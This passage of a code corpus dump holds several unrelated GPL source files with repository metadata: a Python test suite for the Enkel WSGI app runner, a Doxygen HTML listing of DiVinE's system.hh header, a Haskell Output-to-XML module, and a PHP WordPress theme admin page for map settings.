notes/vendoring_dependencies.md
Markdown
gpl-2.0
1,018
# This file is part of the Enkel web programming library. # # Copyright (C) 2007 Espen Angell Kristiansen (espen@wsgi.net) # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. from unittest import TestCase from cStringIO import StringIO from sys import exc_info from enkel.wansgli.apprunner import run_app, AppError, Response from enkel.wansgli.testhelpers import unit_case_suite, run_suite HEAD = "HTTP/1.1 200 OK\r\ncontent-type: text/plain\r\n" ERRHEAD = "HTTP/1.1 500 ERROR\r\ncontent-type: text/plain\r\n" def only_header_app(env, start_response): start_response("200 OK", [("Content-type", "text/plain")]) return list() # return empty list def simple_app(env, start_response): start_response("200 OK", [("Content-type", "text/plain")]) return ["Simple app"] def using_write_app(env, start_response): """ WSGI app for testing of the write function. """ write = start_response("200 OK", [("Content-type", "text/plain")]) write("Using write") return [] def mixing_write_app(env, start_response): """ WSGI app for tesing of mixing using the write function and iterator. """ write = start_response("200 OK", [("Content-type", "text/plain")]) write("Mixing write... ") return [" ...and iterator."] def double_response_error_app(env, start_response): """ WSGI app for testing the situation when an error occurs BEFORE HTTP headers are sent to the browser and a traceback IS NOT supplied. This should produce an error, and the same will happen if start_response is called after HTTP headers are sent. """ start_response("200 OK", [("Content-type", "text/plain")]) start_response("500 ERROR", [("Content-type", "text/plain")]) return list() # return empty list def double_response_ok_app(env, start_response): """ WSGI app for testing the situation when an error occurs BEFORE HTTP headers are sent to the browser and a traceback is supplied. Should work. """ start_response("200 OK", [("Content-type", "text/plain")]) try: int("jeje") except ValueError: start_response("500 ERROR", [("Content-type", "text/plain")], exc_info()) return list() # return empty list class DoubleResponseErrInResponse(object): """ WSGI app for testing the situation when an error occurs AFTER HTTP headers are sent to the browser and a traceback is supplied. Should re-raise the ValueError raised when "four" is sent to the int function. """ def __init__(self, env, start_response): start_response("200 OK", [("Content-type", "text/plain")]) self.it = [1, "2", 3, "four", 5, "6"].__iter__() self.start_response = start_response def __iter__(self): for d in self.it: try: yield str(int(d)) # will fail on "four" except ValueError: self.start_response("500 ERROR", [("Content-type", "text/plain")], exc_info()) def noiter_app(env, start_response): """ An app that does not return an iterator. This is an error, and should raise AppError. """ start_response("200 OK", [("Content-type", "text/plain")]) return 10 def override_defaultheader(env, start_response): """ An app that overrides the default HTTP header "server". This should result in only one "server" header with the new value. """ start_response("200 OK", [ ("Content-type", "text/plain"), ("Server", "xxx") ]) return [] class TestApprunner(TestCase): """ Tests the entire apprunner module. """ def setUp(self): self.buf = StringIO() self.env = dict(SERVER_PROTOCOL="HTTP/1.1") self.sr = Response(self.buf, self.env) def test_only_header(self): run_app(only_header_app, self.sr) b = self.buf.getvalue() self.assert_(b.startswith(HEAD)) def test_simple(self): run_app(simple_app, self.sr) b = self.buf.getvalue() self.assert_(b.startswith(HEAD)) self.assert_(b.endswith("Simple app")) def test_using_write(self): run_app(using_write_app, self.sr) b = self.buf.getvalue() self.assert_(b.startswith(HEAD)) self.assert_(b.endswith("Using write")) def test_mixing_write(self): run_app(mixing_write_app, self.sr) b = self.buf.getvalue() self.assert_(b.startswith(HEAD)) self.assert_(b.endswith("Mixing write... ...and iterator.")) def test_double_response_error(self): self.assertRaises(AppError, run_app, double_response_error_app, self.sr) def test_double_response_ok(self): run_app(double_response_ok_app, self.sr) b = self.buf.getvalue() self.assert_(b.startswith(ERRHEAD)) def testDoubleResponseErrInResponse(self): self.assertRaises(ValueError, run_app, DoubleResponseErrInResponse, self.sr) def test_noiter(self): self.assertRaises(AppError, run_app, noiter_app, self.sr) def suite(): return unit_case_suite(TestApprunner) if __name__ == '__main__': run_suite(suite())
espenak/enkel
testsuite/wansgli/apprunner.py
Python
gpl-2.0
5,360
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <title>DiVinE: system.hh Source File</title> <link href="main.css" rel="stylesheet" type="text/css"> <link href="tabs.css" rel="stylesheet" type="text/css"> </head><body> <!-- Generated by Doxygen 1.5.6 --> <div class="navigation" id="top"> <div class="tabs"> <ul> <li><a href="index.html"><span>Main&nbsp;Page</span></a></li> <li><a href="pages.html"><span>Related&nbsp;Pages</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li> <form action="search.php" method="get"> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td><label>&nbsp;<u>S</u>earch&nbsp;for&nbsp;</label></td> <td><input type="text" name="query" value="" size="20" accesskey="s"/></td> </tr> </table> </form> </li> </ul> </div> <h1>system.hh</h1><a href="system_8hh.html">Go to the documentation of this file.</a><div class="fragment"><pre class="fragment"><a name="l00001"></a>00001 <a name="l00005"></a>00005 <span class="preprocessor">#ifndef DIVINE_SYSTEM_HH</span> <a name="l00006"></a>00006 <span class="preprocessor"></span><span class="preprocessor">#define DIVINE_SYSTEM_HH</span> <a name="l00007"></a>00007 <span class="preprocessor"></span> <a name="l00008"></a>00008 <span class="preprocessor">#ifndef DOXYGEN_PROCESSING</span> <a name="l00009"></a>00009 <span class="preprocessor"></span><span class="preprocessor">#include &lt;fstream&gt;</span> <a name="l00010"></a>00010 <span class="preprocessor">#include "<a class="code" href="array_8hh.html">common/array.hh</a>"</span> <a name="l00011"></a>00011 <span class="preprocessor">#include "<a class="code" href="error_8hh.html">common/error.hh</a>"</span> <a name="l00012"></a>00012 <span class="preprocessor">#include "<a class="code" href="system__abilities_8hh.html">system/system_abilities.hh</a>"</span> <a name="l00013"></a>00013 <span class="preprocessor">#include "<a class="code" href="data_8hh.html">system/data.hh</a>"</span> <a name="l00014"></a>00014 <span class="preprocessor">#include "system/transition.hh"</span> <a name="l00015"></a>00015 <span class="preprocessor">#include "<a class="code" href="process_8hh.html">system/process.hh</a>"</span> <a name="l00016"></a>00016 <span class="preprocessor">#include "<a class="code" href="state_8hh.html">system/state.hh</a>"</span> <a name="l00017"></a>00017 <a name="l00018"></a>00018 <span class="comment">//The main DiVinE namespace - we do not want Doxygen to see it</span> <a name="l00019"></a>00019 <span class="keyword">namespace </span>divine { <a name="l00020"></a>00020 <span class="preprocessor">#endif //DOXYGEN_PROCESSING</span> <a name="l00021"></a>00021 <span class="preprocessor"></span> <a name="l00022"></a>00022 <a name="l00023"></a>00023 <span class="comment">//property-type type definition</span> <a name="l00024"></a>00024 <span class="keyword">enum</span> property_type_t {NONE, BUCHI, GENBUCHI, MULLER, RABIN, STREETT}; <a name="l00025"></a>00025 <span class="comment">//predeclarations of classes:</span> <a name="l00026"></a>00026 <span class="keyword">class </span><a class="code" href="classtransition__t.html" title="Abstract interface of a class representing a transition.">transition_t</a>; <a name="l00027"></a>00027 <span class="keyword">class </span><a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a>; <a name="l00028"></a>00028 <span class="keyword">class </span><a class="code" href="classprocess__decomposition__t.html">process_decomposition_t</a>; <a name="l00029"></a>00029 <a name="l00031"></a>00031 <a name="l00038"></a><a class="code" href="classsystem__t.html">00038</a> <span class="keyword">class </span><a class="code" href="classsystem__t.html" title="Abstract interface of a class representing a model of a system.">system_t</a> <a name="l00039"></a>00039 { <a name="l00040"></a>00040 <span class="keyword">protected</span>: <a name="l00041"></a>00041 <a class="code" href="classerror__vector__t.html" title="The main class in error.hh determined for storing.">error_vector_t</a> &amp; terr; <a name="l00042"></a>00042 <span class="comment">/* abilities can be modified in successors of system_t */</span> <a name="l00043"></a>00043 <a class="code" href="structsystem__abilities__t.html" title="Structure storing abilities of system and its subordinate components.">system_abilities_t</a> abilities; <a name="l00044"></a>00044 <span class="keywordtype">bool</span> with_property; <a name="l00045"></a>00045 <a name="l00046"></a>00046 <span class="keywordtype">void</span> copy_private_part(<span class="keyword">const</span> <a class="code" href="classsystem__t.html" title="Abstract interface of a class representing a model of a system.">system_t</a> &amp; second) <a name="l00047"></a>00047 { <a name="l00048"></a>00048 abilities = second.<a class="code" href="classsystem__t.html#de3b96abf0f011225294056b8623ef42">abilities</a>; <a name="l00049"></a>00049 with_property = second.<a class="code" href="classsystem__t.html#bb933b5fa7187fafdcf879f304d75875">with_property</a>; <a name="l00050"></a>00050 } <a name="l00051"></a>00051 <a name="l00052"></a>00052 <span class="keyword">public</span>: <a name="l00053"></a>00053 <span class="keyword">static</span> <span class="keyword">const</span> <a class="code" href="error_8hh.html#bbb69ccfbfce94191e92f24ebd52aea6" title="Integer type used for identifiers of errors.">ERR_type_t</a> ERR_TYPE_SYSTEM; <a name="l00054"></a>00054 <span class="keyword">static</span> <span class="keyword">const</span> <a class="code" href="error_8hh.html#f423e7d7a51d35d40801372d2c104162" title="Integer type used for identifiers of errors.">ERR_id_t</a> ERR_FILE_NOT_OPEN; <a name="l00055"></a>00055 <a name="l00057"></a>00057 <a name="l00060"></a><a class="code" href="classsystem__t.html#d4c1abd975446ecf930cd4b9fc1bdda8">00060</a> <a class="code" href="classsystem__t.html" title="Abstract interface of a class representing a model of a system.">system_t</a>(<a class="code" href="classerror__vector__t.html" title="The main class in error.hh determined for storing.">error_vector_t</a> &amp; evect = gerr):terr(evect) <a name="l00061"></a>00061 { <a name="l00062"></a>00062 <span class="comment">//system is defautly as dumb as possible</span> <a name="l00063"></a>00063 with_property = <span class="keyword">false</span>; <a name="l00064"></a>00064 }; <a name="l00066"></a><a class="code" href="classsystem__t.html#ecaaaacd7833aa538cea7d5f2bf835ba">00066</a> <span class="keyword">virtual</span> ~<a class="code" href="classsystem__t.html" title="Abstract interface of a class representing a model of a system.">system_t</a>() {}; <a name="l00068"></a><a class="code" href="classsystem__t.html#ac5f1f8d751e9d6b7d67156cb2c92f75">00068</a> <a class="code" href="classerror__vector__t.html" title="The main class in error.hh determined for storing.">error_vector_t</a> &amp; get_error_vector() { <span class="keywordflow">return</span> terr; } <a name="l00070"></a><a class="code" href="classsystem__t.html#6615079f7be6df15ce8292a9f71fc444">00070</a> <span class="keyword">const</span> <a class="code" href="classerror__vector__t.html" title="The main class in error.hh determined for storing.">error_vector_t</a> &amp; get_error_vector()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> terr; } <a name="l00072"></a>00072 <a name="l00074"></a><a class="code" href="classsystem__t.html#aebb0bebfa614034a14dde85ecf5bfea">00074</a> <a class="code" href="structsystem__abilities__t.html" title="Structure storing abilities of system and its subordinate components.">system_abilities_t</a> &amp; get_abilities() { <span class="keywordflow">return</span> abilities; } <a name="l00076"></a>00076 <a name="l00078"></a><a class="code" href="classsystem__t.html#b2dd42aa5fee0f17f16b25af3a867757">00078</a> <span class="keyword">const</span> <a class="code" href="structsystem__abilities__t.html" title="Structure storing abilities of system and its subordinate components.">system_abilities_t</a> &amp; get_abilities()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> abilities; } <a name="l00079"></a>00079 <a name="l00081"></a><a class="code" href="classsystem__t.html#ea3b8221f7b54573bba4f3891250ee32">00081</a> <span class="keywordtype">void</span> set_with_property(<span class="keyword">const</span> <span class="keywordtype">bool</span> is_with) { with_property=is_with; } <a name="l00082"></a>00082 <a name="l00084"></a><a class="code" href="classsystem__t.html#09130a592f60774c80f8fd0da140940b">00084</a> <span class="keywordtype">bool</span> get_with_property()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> (with_property); } <a name="l00085"></a>00085 <a name="l00089"></a>00089 <a name="l00090"></a>00090 <a name="l00091"></a>00091 <span class="keyword">virtual</span> property_type_t get_property_type() = 0; <a name="l00092"></a>00092 <a name="l00094"></a>00094 <a name="l00098"></a>00098 <span class="keyword">virtual</span> slong_int_t read(std::istream &amp; ins = std::cin) = 0; <a name="l00100"></a>00100 <a name="l00106"></a>00106 <span class="keyword">virtual</span> slong_int_t read(<span class="keyword">const</span> <span class="keywordtype">char</span> * <span class="keyword">const</span> filename) = 0; <a name="l00108"></a>00108 <a name="l00112"></a>00112 <span class="keyword">virtual</span> slong_int_t from_string(<span class="keyword">const</span> std::string str) = 0; <a name="l00114"></a>00114 <a name="l00116"></a>00116 <span class="keyword">virtual</span> <span class="keywordtype">bool</span> write(<span class="keyword">const</span> <span class="keywordtype">char</span> * <span class="keyword">const</span> filename) = 0; <a name="l00119"></a>00119 <span class="keyword">virtual</span> <span class="keywordtype">void</span> write(std::ostream &amp; outs = std::cout) = 0; <a name="l00122"></a>00122 <span class="keyword">virtual</span> std::string to_string() = 0; <a name="l00125"></a>00125 <a name="l00126"></a><a class="code" href="classsystem__t.html#e2a9f4639effe0829c8ed91d617da409">00126</a> <span class="keywordtype">bool</span> can_property_process()<span class="keyword"> const</span> <a name="l00127"></a>00127 <span class="keyword"> </span>{ <span class="keywordflow">return</span> abilities.system_can_property_process; } <a name="l00128"></a>00128 <a name="l00134"></a>00134 <a name="l00135"></a>00135 <a name="l00136"></a>00136 <span class="keyword">virtual</span> <a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a> * get_property_process() = 0; <a name="l00137"></a>00137 <a name="l00139"></a>00139 <a name="l00140"></a>00140 <span class="keyword">virtual</span> <span class="keyword">const</span> <a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a> * get_property_process() <span class="keyword">const</span> = 0; <a name="l00141"></a>00141 <a name="l00143"></a>00143 <a name="l00144"></a>00144 <span class="keyword">virtual</span> size_int_t get_property_gid() <span class="keyword">const</span> = 0; <a name="l00145"></a>00145 <a name="l00147"></a>00147 <a name="l00150"></a>00150 <span class="keyword">virtual</span> <span class="keywordtype">void</span> set_property_gid(<span class="keyword">const</span> size_int_t gid) = 0; <a name="l00151"></a>00151 <a name="l00156"></a>00156 <a name="l00157"></a><a class="code" href="classsystem__t.html#28f29c2b00e6ed35884c84634f331478">00157</a> <span class="keywordtype">bool</span> can_decompose_property()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> abilities.system_can_decompose_property; } <a name="l00158"></a>00158 <a name="l00162"></a>00162 <a name="l00163"></a><a class="code" href="classsystem__t.html#78c1b45d6319ffd2fce8c04084ee67fc">00163</a> <span class="keyword">virtual</span> <a class="code" href="classprocess__decomposition__t.html">process_decomposition_t</a> *get_property_decomposition() <a name="l00164"></a>00164 { <a name="l00165"></a>00165 <span class="keywordflow">return</span> 0; <a name="l00166"></a>00166 } <a name="l00169"></a>00169 <a name="l00170"></a><a class="code" href="classsystem__t.html#33435d0402da6b3f17f12dc76d96e0e5">00170</a> <span class="keywordtype">bool</span> can_processes()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> abilities.system_can_processes; } <a name="l00171"></a>00171 <a name="l00177"></a>00177 <a name="l00178"></a>00178 <a name="l00180"></a>00180 <span class="keyword">virtual</span> size_int_t get_process_count() <span class="keyword">const</span> = 0; <a name="l00182"></a>00182 <a name="l00188"></a>00188 <span class="keyword">virtual</span> <a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a> * get_process(<span class="keyword">const</span> size_int_t gid) = 0; <a name="l00190"></a>00190 <a name="l00196"></a>00196 <span class="keyword">virtual</span> <span class="keyword">const</span> <a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a> * get_process(<span class="keyword">const</span> size_int_t gid) <span class="keyword">const</span> = 0; <a name="l00197"></a>00197 <a name="l00200"></a>00200 <a name="l00201"></a><a class="code" href="classsystem__t.html#f4d82ed819aeff99f2db2dcd4ed26332">00201</a> <span class="keywordtype">bool</span> can_transitions()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> abilities.system_can_transitions; } <a name="l00202"></a>00202 <a name="l00207"></a>00207 <a name="l00208"></a>00208 <a name="l00211"></a>00211 <span class="keyword">virtual</span> size_int_t get_trans_count() <span class="keyword">const</span> = 0; <a name="l00213"></a>00213 <a name="l00214"></a>00214 <span class="keyword">virtual</span> <a class="code" href="classtransition__t.html" title="Abstract interface of a class representing a transition.">transition_t</a> * get_transition(size_int_t gid) = 0; <a name="l00216"></a>00216 <a name="l00217"></a>00217 <span class="keyword">virtual</span> <span class="keyword">const</span> <a class="code" href="classtransition__t.html" title="Abstract interface of a class representing a transition.">transition_t</a> * get_transition(size_int_t gid) <span class="keyword">const</span> = 0; <a name="l00218"></a>00218 <a name="l00221"></a>00221 <a name="l00222"></a>00222 <a name="l00224"></a><a class="code" href="classsystem__t.html#1ebd00d449e546ac4ea1017dfbb0b49a">00224</a> <span class="keywordtype">bool</span> can_be_modified()<span class="keyword"> const </span>{ <span class="keywordflow">return</span> abilities.system_can_be_modified; } <a name="l00225"></a>00225 <a name="l00230"></a>00230 <a name="l00231"></a>00231 <a name="l00232"></a>00232 <span class="keyword">virtual</span> <span class="keywordtype">void</span> add_process(<a class="code" href="classprocess__t.html" title="Abstact interface of a class representing a process of a system.">process_t</a> * <span class="keyword">const</span> process) = 0; <a name="l00234"></a>00234 <a name="l00235"></a>00235 <span class="keyword">virtual</span> <span class="keywordtype">void</span> remove_process(<span class="keyword">const</span> size_int_t process_id) = 0; <a name="l00236"></a>00236 <a name="l00238"></a>00238 }; <a name="l00239"></a>00239 <a name="l00240"></a>00240 <span class="preprocessor">#ifndef DOXYGEN_PROCESSING </span> <a name="l00241"></a>00241 <span class="preprocessor"></span>} <span class="comment">//END of namespace DVE</span> <a name="l00242"></a>00242 <span class="preprocessor">#endif //DOXYGEN_PROCESSING</span> <a name="l00243"></a>00243 <span class="preprocessor"></span> <a name="l00244"></a>00244 <span class="preprocessor">#endif</span> <a name="l00245"></a>00245 <span class="preprocessor"></span> </pre></div></div> <hr size="1"><small><img align="center" src="divine_mini.gif"><b> Reference Manual for Library, 2006 developed in <a href="http://www.fi.muni.cz/paradise/">ParaDiSe</a> laboratory, <a href="http://www.fi.muni.cz/">Faculty of Informatics</a>, <a href="http://www.muni.cz/">Masaryk University</a></b></small> </body> </html>
mito/Divine-state-generator
doc/refs/library/html/system_8hh-source.html
HTML
gpl-2.0
16,925
-- | Utility functions for dealing with the conversion of Output to Xml module Util.Xml.Output ( outputToXmlString, stringToXmlString, xmlStringToOutput, outputToXOutput ) where import qualified Util.Xml.OutputDTD as X import qualified Autolib.Output as O import Util.Xml.Representation -- import Text.PrettyPrint.HughesPJ hiding (style) import qualified Autolib.Multilingual as M import qualified Autolib.Multilingual.Html as H -- import qualified Text.Blaze.Html.Renderer.String -- import qualified Text.Blaze.Html.Renderer.Utf8 import qualified Autolib.Multilingual.Doc as D import Data.String ( fromString ) -- import qualified Codec.Binary.Base64 as C import qualified Data.ByteString.Base64 as BB import qualified Data.ByteString as B import qualified Data.ByteString.Char8 as BC import System.FilePath import Control.Applicative import Data.Maybe import Data.Text (unpack) import Util.Png outputToXOutput :: M.Language -> O.Output -> IO X.Output outputToXOutput lang o = case o of O.Empty -> return $ X.OBeside $ X.Beside [] O.Doc doc -> outputToXOutput lang $ O.Pre doc O.Pre doc -> return $ X.OPre $ X.Pre $ D.render_for lang doc O.String txt -> return $ X.OText $ X.Text txt O.Text txt -> return $ X.OText $ X.Text $ Data.Text.unpack txt O.Image file (O.Hidden contents) -> do let ext = drop 1 $ snd $ splitExtension file contents' <- contents let (w, h) = case ext of "png" -> (pngSize contents') _ -> (0, 0) img = BC.unpack $ BB.encode contents' return $ X.OImage $ X.Image (X.Image_Attrs { X.imageType = ext, X.imageAlt = "<image>", X.imageUnit = "px", X.imageWidth = show w, X.imageHeight = show h }) img O.Link uri -> outputToXOutput lang (O.Named_Link uri uri) O.Named_Link txt uri -> return $ X.OLink $ X.Link (X.Link_Attrs { X.linkHref = uri }) txt O.HRef uri o1 -> do -- FIXME -- outputToXOutput $ O.Above ( O.Link uri ) o1 outputToXOutput lang o1 O.Above o1 o2 -> X.OAbove . X.Above <$> mapM (outputToXOutput lang) (aboves o1 ++ aboves o2) O.Beside o1 o2 -> X.OBeside . X.Beside <$> mapM (outputToXOutput lang) (besides o1 ++ besides o2) O.Itemize os -> X.OItemize . X.Itemize <$> mapM (outputToXOutput lang) os O.Nest o' -> X.OBeside . X.Beside <$> sequence [return nestSpacing, outputToXOutput lang o'] O.Figure a b -> X.OFigure <$> (X.Figure <$> outputToXOutput lang a <*> outputToXOutput lang b) xoutputToOutput :: X.Output -> O.Output xoutputToOutput o = case o of X.OPre (X.Pre txt) -> O.Pre (D.text txt) X.OText (X.Text txt) -> O.String txt X.OImage (X.Image _ img) -> O.Image (mkData img) (O.Hidden $ return $ BB.decodeLenient $ fromString img) X.OLink (X.Link (X.Link_Attrs { X.linkHref = uri }) txt) -> O.Named_Link txt uri X.OAbove (X.Above []) -> O.Empty X.OAbove (X.Above xs) -> foldl1 O.Above $ map xoutputToOutput xs X.OBeside (X.Beside []) -> O.Empty -- handle special shape that is produce by outputToXOutput (Nest this) X.OBeside (X.Beside [ X.OSpace{}, this ]) -> O.Nest $ xoutputToOutput this X.OBeside (X.Beside xs) -> foldl1 O.Beside $ map xoutputToOutput xs X.OItemize (X.Itemize xs) -> O.Itemize $ map xoutputToOutput xs X.OSpace _ -> O.Empty -- FIXME X.OFigure (X.Figure a b) -> O.Figure (xoutputToOutput a) (xoutputToOutput b) mkData = ("data:image/png;base64," ++) wrapXOutput :: X.Output -> Document () wrapXOutput o = let [CElem e _] = toContents o in Document (Prolog (Just (XMLDecl "1.0" Nothing Nothing)) [] Nothing []) emptyST e [] -- FIXME: this should go to Bytestring or Text instead xmlToString :: Document () -> String xmlToString = renderDocument_via_Doc outputToXmlString :: M.Language -> O.Output -> IO String outputToXmlString lang = fmap (xmlToString . wrapXOutput) . outputToXOutput lang xmlStringToOutput :: String -> O.Output xmlStringToOutput = xoutputToOutput . either error id . readXml stringToXmlString :: String -> String stringToXmlString = xmlToString . wrapXOutput . X.OText . X.Text -- helpers for outputToXOutput nestSpacing :: X.Output nestSpacing = X.OSpace $ X.Space { X.spaceWidth = "4", X.spaceHeight = "0", X.spaceUnit = "em" } besides :: O.Output -> [O.Output] besides (O.Beside a b) = besides a ++ besides b besides a = [a] aboves :: O.Output -> [O.Output] aboves (O.Above a b) = aboves a ++ aboves b aboves a = [a]
marcellussiegburg/autotool
server-interface/src/Util/Xml/Output.hs
Haskell
gpl-2.0
4,780
<div class="javo_ts_tab javo-opts-group-tab" tar="map"> <h2><?php _e("Javo Property Map Settings", "javo_fr"); ?> </h2> <table class="form-table"> <tr><th> <?php _e('Common Map Setup', 'javo_fr');?> <span class="description"> <?php _e('Control Panel Setting', 'javo_fr');?> </span> </th><td> <h4><?php _e('My Geo Location: Distance Slider Max Value (Number Only)', 'javo_fr');?></h4> <fieldset class="inner"> <input type="text" name="javo_ts[map][distance_max]" value="<?php echo $javo_ts_map->get('distance_max', 500);?>"> </fieldset> <h4><?php _e('Default location: Add/Edit Property', 'javo_fr');?></h4> <fieldset class="inner"> <a href="#javo-ts-map-default-setting-view"><?php _e('Get Location on Maps'); ?></a> <div class="javo-ts-map-default-setting-container"></div> <dl> <dt><?php _e('Latitude', 'javo_fr');?></dt> <dd><input type="text" name="javo_ts[map][default_lat]" value="<?php echo $javo_ts_map->get('default_lat', 0);?>"></dd> </dl> <dl> <dt><?php _e('Longitude', 'javo_fr');?></dt> <dd><input type="text" name="javo_ts[map][default_lng]" value="<?php echo $javo_ts_map->get('default_lng', 0);?>"></dd> </dl> </fieldset> <script type="text/javascript"> jQuery(function($){ var javo_tso_map_default_setup_script = { init: function(){ this.el = $('.javo-ts-map-default-setting-container'); this.lat = $('[name="javo_ts[map][default_lat]"]'); this.lng = $('[name="javo_ts[map][default_lng]"]'); this.latLng = new google.maps.LatLng( parseInt( this.lat.val() ), parseInt( this.lng.val() ) ); $(document).on('click', '[href="#javo-ts-map-default-setting-view"]', this.visible); } , setMap: function(){ var o = this; this.el.gmap3({ map:{ options:{ center: o.latLng } , events:{ click:function(t, latLng){ $(this).gmap3({ get:{ name:'marker' , callback:function(marker){ marker.setPosition( latLng.latLng ); o.lat.val(marker.getPosition().lat()); o.lng.val(marker.getPosition().lng()); } } }); } } } , marker:{ latLng: o.latLng , options:{ draggable:true } , events:{ dragend:function(m){ o.lat.val(m.getPosition().lat() ); o.lng.val(m.getPosition().lng() ); } } } }); return this.el.gmap3('get'); } , visible:function(e){ e.preventDefault(); var o = javo_tso_map_default_setup_script; o.map = o.setMap(); o.el.height(300); $(this).remove(); } }; javo_tso_map_default_setup_script.init(); }); </script> </th><td><tr><th> <?php _e('Panel', 'javo_fr');?> <span class="description"> <?php _e('Control Panel Setting', 'javo_fr');?> </span> </th><td> <h4><?php _e('Open/Close Control panel when it loads', 'javo_fr');?> <a href="#TB_inline?width=600&height=700&inlineId=map-panel-control" class="thickbox"><img src="<?php echo JAVO_IMG_DIR; ?>/admin_zoom_in.png" class="zoom-icon"></a> </h4> <fieldset> <label><input type="radio" name="javo_ts[panel_display]" value="on" <?php checked($javo_tso->get('panel_display', '') == "on");?>><?php _e('Open', 'javo_fr');?></label> <label><input type="radio" name="javo_ts[panel_display]" value="" <?php checked($javo_tso->get('panel_display', '') == '');?>><?php _e('Close', 'javo_fr');?></label> <label><input type="radio" name="javo_ts[panel_display]" value="hide" <?php checked($javo_tso->get('panel_display', '') == 'hide');?>><?php _e('Hide (No panel. only google maps and marks)', 'javo_fr');?></label> </fieldset> <h4><?php _e('Show Keyword Field on Searching', 'javo_fr');?> <a href="#TB_inline?width=600&height=700&inlineId=map-panel-control-search" class="thickbox"><img src="<?php echo JAVO_IMG_DIR; ?>/admin_zoom_in.png" class="zoom-icon"></a> </h4> <fieldset> <label><input type="radio" name="javo_ts[map_keyword]" value="on" <?php checked(!empty($javo_theme_option['map_keyword']) && $javo_theme_option['map_keyword'] == "on");?>><?php _e('Use', 'javo_fr');?></label> <label><input type="radio" name="javo_ts[map_keyword]" value="" <?php checked(!empty($javo_theme_option['map_keyword']) && $javo_theme_option['map_keyword'] == "");?>><?php _e('Don`t use', 'javo_fr');?></label> </fieldset> </td></tr><tr><th> <?php _e('Post Type Setting', 'javo_fr');?> <span class="description"> <?php _e('Fixed : Property', 'javo_fr');?> </span> </th><td> <h4><?php _e('Post type', 'javo_fr');?></h4> <fieldset> <input name="javo_ts[map_post_type]" value="property" type="text" readonly> </fieldset> </td></tr><tr><th> <div class="map-filtering-detail"> <?php _e('Setting Filtering', 'javo_fr');?> <a href="#TB_inline?width=600&height=700&inlineId=map-filtering" class="thickbox"><img src="<?php echo JAVO_IMG_DIR; ?>/admin_zoom_in.png" class="zoom-icon"></a> </div> <span class="description"> <?php _e('Please Select 3 Filtering Categories', 'javo_fr');?> </span> </th><td> <h4><?php _e('Filtering 1.', 'javo_fr');?> </h4> <fieldset> <?php $javo_property_post_type = !empty($javo_theme_option['map_post_type']) ? $javo_theme_option['map_post_type']:'property'; ?> <p> <label><?php _e("Category", "javo_fr"); ?> : <select name="javo_ts[map_tax1]" class="large-text"> <option value=""><?php _e("None", "javo_fr"); ?></option> <?php $taxs = get_object_taxonomies($javo_property_post_type); if(!empty($taxs)) foreach($taxs as $tax) printf("<option value='%s' %s>%s</option>" , $tax , ($javo_theme_option['map_tax1']==$tax ? " selected": "") , get_taxonomy($tax)->label); ?> </select> </label> <label> <input type="checkbox" name="javo_ts[map_tax1_sel]" value="yes" <?php checked($javo_tso->get('map_tax1_sel') == "yes");?>> <?php _e("Change Selectbox", 'javo_fr');?> </label> </p> </fieldset> <h4><?php _e('Filtering 2.', 'javo_fr');?></h4> <fieldset> <p> <label><?php _e("Category", "javo_fr"); ?> : <select name="javo_ts[map_tax2]" class="large-text"> <option value=""><?php _e("None", "javo_fr"); ?></option> <?php $taxs = get_object_taxonomies($javo_property_post_type); if(!empty($taxs)) foreach($taxs as $tax) printf("<option value='%s' %s>%s</option>" , $tax , ($javo_theme_option['map_tax2']==$tax ? " selected": "") , get_taxonomy($tax)->label); ?> </select> </label> <label> <input type="checkbox" name="javo_ts[map_tax2_sel]" value="yes" <?php checked($javo_tso->get('map_tax2_sel') == "yes");?>> <?php _e("Change Selectbox", 'javo_fr');?> </label> </p> </fieldset> <h4><?php _e('Filtering 3.', 'javo_fr');?></h4> <fieldset> <p> <label><?php _e("Category", "javo_fr"); ?> : <select name="javo_ts[map_tax3]" class="large-text"> <option value=""><?php _e("None", "javo_fr"); ?></option> <?php $taxs = get_object_taxonomies($javo_property_post_type); if(!empty($taxs)) foreach($taxs as $tax) printf("<option value='%s' %s>%s</option>" , $tax , ($javo_theme_option['map_tax3']==$tax ? " selected": "") , get_taxonomy($tax)->label); ?> </select> </label> <label> <input type="checkbox" name="javo_ts[map_tax3_sel]" value="yes" <?php checked($javo_tso->get('map_tax3_sel') == "yes");?>> <?php _e("Change Selectbox", 'javo_fr');?> </label> </p> </fieldset> <h4><?php _e('Filtering 4', 'javo_fr');?></h4> <fieldset> <p> <label><?php _e("Category", "javo_fr"); ?> : <select name="javo_ts[map_tax4]" class="large-text"> <option value=""><?php _e("None", "javo_fr"); ?></option> <?php $taxs = get_object_taxonomies($javo_property_post_type); if(!empty($taxs)) foreach($taxs as $tax) printf("<option value='%s' %s>%s</option>" , $tax , ($javo_theme_option['map_tax4']==$tax ? " selected": "") , get_taxonomy($tax)->label); ?> </select> </label> </p> </fieldset> <h4><?php _e('Date filter', 'javo_fr');?></h4> <fieldset> <label> <input name="javo_ts[date_filter]" value="<?php echo (int)$javo_tso->get('date_filter', '');?>"> <?php _e("days ( 0 = Un limited)", "javo_fr"); ?> </label> </fieldset> </td></tr><tr><th> 